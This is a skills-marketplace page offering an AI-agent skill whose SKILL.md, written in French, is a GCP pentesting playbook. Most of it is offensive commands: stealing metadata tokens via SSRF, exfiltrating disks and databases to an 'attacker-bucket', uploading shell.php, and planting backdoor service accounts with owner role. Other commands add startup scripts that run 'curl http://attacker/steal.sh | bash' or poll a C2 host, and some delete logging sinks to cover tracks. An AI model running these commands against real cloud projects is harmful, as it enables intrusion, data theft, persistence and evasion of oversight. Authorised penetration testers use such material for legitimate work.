用 Codex 或 Claude 帮你安装 复制这段 Prompt,粘贴到 Codex、Claude 或其他助手里,让它检查 Skill 页面并帮你完成安装。
直接命令不会经过审查 Prompt;运行前请先检查来源。
npx skills add https://github.com/JohnNuwan/EVA_CORE --skill cloud-pentesting-gcp命令会保持在同一行。复制前请横向滚动并检查完整内容。
想先保存到本地?可下载 SkillsMP 当前能够提供的文件。
Concevoir et maintenir un watchdog auto-correcteur pour services HTTP — checks de santé, auto-restart, état persistant, rapports et pièges bash.
Serveur de messagerie sécurisé auto-hébergé (Signal-like) avec Flask + WebSocket + AES-256-GCM + pont EVA
ADAM-SENTINEL — Veilleur technologique 24h/24h. Scanne 10 domaines, cree des rapports, met a jour les skills, alerte sur les CVE et breaking changes.
基于 SOC 职业分类
正在显示 SKILL.md
| name | cloud-pentesting-gcp |
| description | Guide complet de pentest GCP — Cloud Storage, IAM, Compute Engine, Cloud Functions, KMS, privesc, outils |
| category | cybersecurite |
# Google Cloud SDK
curl https://sdk.cloud.google.com | bash
gcloud init
gcloud auth login
# Vérifier l'identité
gcloud auth list
gcloud projects list
# gcloud config
gcloud config set project <PROJECT_ID>
gcloud config set compute/region us-central1
| Outil | Description |
|---|---|
| gcloud CLI | Interface native GCP |
| gcp_scanner | Scanner d'énumération GCP |
| ScoutSuite | Audit complet multi-cloud |
| CloudSploit | Scanner règles de sécurité |
| gcp_enum | Script d'énumération bash |
| PMapper | Analyse des politiques IAM |
| gcp_sts_helper | Exploitation STS (Security Token Service) |
# Lister les projets accessibles
gcloud projects list
# Détails d'un projet
gcloud projects describe <PROJECT_ID>
# Informations sur l'organisation
gcloud organizations list
gcloud organizations describe <ORG_ID>
# IAM du projet
gcloud projects get-iam-policy <PROJECT_ID> --format json
# Lister les instances
gcloud compute instances list
gcloud compute instances list --project <PROJECT>
# Détails d'une instance
gcloud compute instances describe <INSTANCE> --zone us-central1-a
gcloud compute instances get-serial-port-output <INSTANCE> --zone us-central1-a
# Métadonnées d'instance (via SSRF)
curl http://metadata.google.internal/computeMetadata/v1/ -H "Metadata-Flavor: Google"
curl http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token -H "Metadata-Flavor: Google"
curl http://metadata.google.internal/computeMetadata/v1/instance/attributes/ -H "Metadata-Flavor: Google"
# Snapshots de disques
gcloud compute snapshots list
gcloud compute disks list
gcloud compute disks snapshot <DISK> --snapshot-names exfil-1
gcloud compute disks create exfil-disk --source-snapshot exfil-1 --zone us-central1-a
gcloud compute instances attach-disk <YOUR-INSTANCE> --disk exfil-disk
Bucket Enumeration:
# Lister les buckets
gsutil ls
gsutil ls gs://bucket-name/
# Buckets publics
# Découverte par nom
gsutil ls gs://target-backup
gsutil ls gs://target-secure
# Test d'accès anonyme
curl https://storage.googleapis.com/bucket-name/
curl https://storage.googleapis.com/download/storage/v1/b/bucket-name/o
# Voir les permissions
gsutil iam get gs://bucket-name/
gsutil acl get gs://bucket-name/
Exploitation:
# Bucket writable → upload malveillant
gsutil cp shell.php gs://bucket-name/uploads/
gsutil cp -r ./exfil/ gs://attacker-bucket/
# Bucket listing public → data leak
gsutil -m cp -r gs://bucket-name/ ./dump/
# Versioning — récupérer des anciennes versions
gsutil ls -a gs://bucket-name/
gsutil cp gs://bucket-name/file#123456789 ./
# Lister les fonctions
gcloud functions list
# Obtenir le code source
gcloud functions describe <FUNCTION>
# Déployer une fonction backdoor
gcloud functions deploy backdoor --runtime python311 --trigger-http --allow-unauthenticated --entry-point main
# Via le code de la fonction — variables d'environnement
gcloud functions describe <FUNCTION> --format="get(eventTrigger,environmentVariables)"
# Invocation directe
gcloud functions call <FUNCTION> --data '{"action":"ping"}'
# Lister les instances SQL
gcloud sql instances list
# Dump d'une base de données
gcloud sql databases list --instance <DB-INSTANCE>
gcloud sql export sql <DB-INSTANCE> gs://attacker-bucket/dump.sql --database <DB>
# Créer un utilisateur
gcloud sql users create hacker --instance <DB-INSTANCE> --password Pwned123!
# Lister les clusters
gcloud container clusters list
# Obtenir les credentials kubectl
gcloud container clusters get-credentials <CLUSTER> --zone us-central1-a
# Accès aux secrets
kubectl get secrets --all-namespaces
kubectl get secret <SECRET> -o yaml | base64 -d
Principales permissions dangereuses:
| Permission | Impact |
|---|---|
iam.roles.update | Modifier un rôle pour ajouter des permissions |
iam.serviceAccountKeys.create | Créer une clé SA et l'utiliser |
iam.serviceAccounts.implicitDelegation | Délegation implicite à n'importe quel SA |
iam.serviceAccounts.actAs | Run as un SA (impersonate) |
iam.serviceAccounts.getAccessToken | Obtenir un token OAuth |
compute.instances.setMetadata | Changer SSK keys des instances |
compute.instances.setIamPolicy | Se donner accès à une VM |
source.repos.getIamPolicy et update | Accès aux repos source |
Privesc via Service Account:
# 1. Trouver les SA disponibles
gcloud iam service-accounts list
# 2. Créer une clé pour un SA
gcloud iam service-accounts keys create key.json --iam-account target-sa@project.iam.gserviceaccount.com
# 3. Activer le SA
gcloud auth activate-service-account --key-file=key.json
# 4. Vérifier les nouveaux droits
gcloud auth list
gcloud projects get-iam-policy <PROJECT>
Privesc via Compute:
# Changer les métadonnées d'instance pour exécuter du code
gcloud compute instances add-metadata <INSTANCE> --zone us-central1-a --metadata startup-script='#!/bin/bash
curl http://attacker/steal.sh | bash'
# Créer une instance avec un SA privilégié
gcloud compute instances create exploit --service-account admin-sa@project.iam.gserviceaccount.com --scopes cloud-platform --zone us-central1-a
# Attacher un disque d'une autre instance
gcloud compute instances attach-disk exploit --disk victim-disk --zone us-central1-a
# Lister les keyrings
gcloud kms keyrings list --location global
# Lister les clés
gcloud kms keys list --keyring <KEYRING> --location global
# Cryptage/décryptage si on a iam.serviceAccountAccessToken
# via la crypto API
# SA backdoor
gcloud iam service-accounts create persistence-sa --display-name "Persistence"
gcloud iam service-accounts keys create persistence-key.json --iam-account persistence-sa@project.iam.gserviceaccount.com
gcloud projects add-iam-policy-binding <PROJECT> --member "serviceAccount:persistence-sa@project.iam.gserviceaccount.com" --role "roles/owner"
# Cloud Function trigger
gcloud functions deploy persistence --runtime python311 --trigger-topic persistence --source .
# VM avec script de startup backdoor
gcloud compute instances add-metadata <INSTANCE> --zone us-central1-a --metadata startup-script='#!/bin/bash
while true; do
curl http://attacker/C2
sleep 60
done'
# Stackdriver Logging désactivé
gcloud logging sinks delete <SINK>
# Supprimer les logs d'audit
# Les logs d'Admin Activity peuvent être modifiés
# Vider les log buckets
gcloud logging buckets delete <BUCKET>
# Installation
git clone https://github.com/google/gcp_scanner
cd gcp_scanner
python scanner.py --project <PROJECT> --output ./report
# Scan complet avec clé SA
python scanner.py --keyfile key.json --output ./report --log-level INFO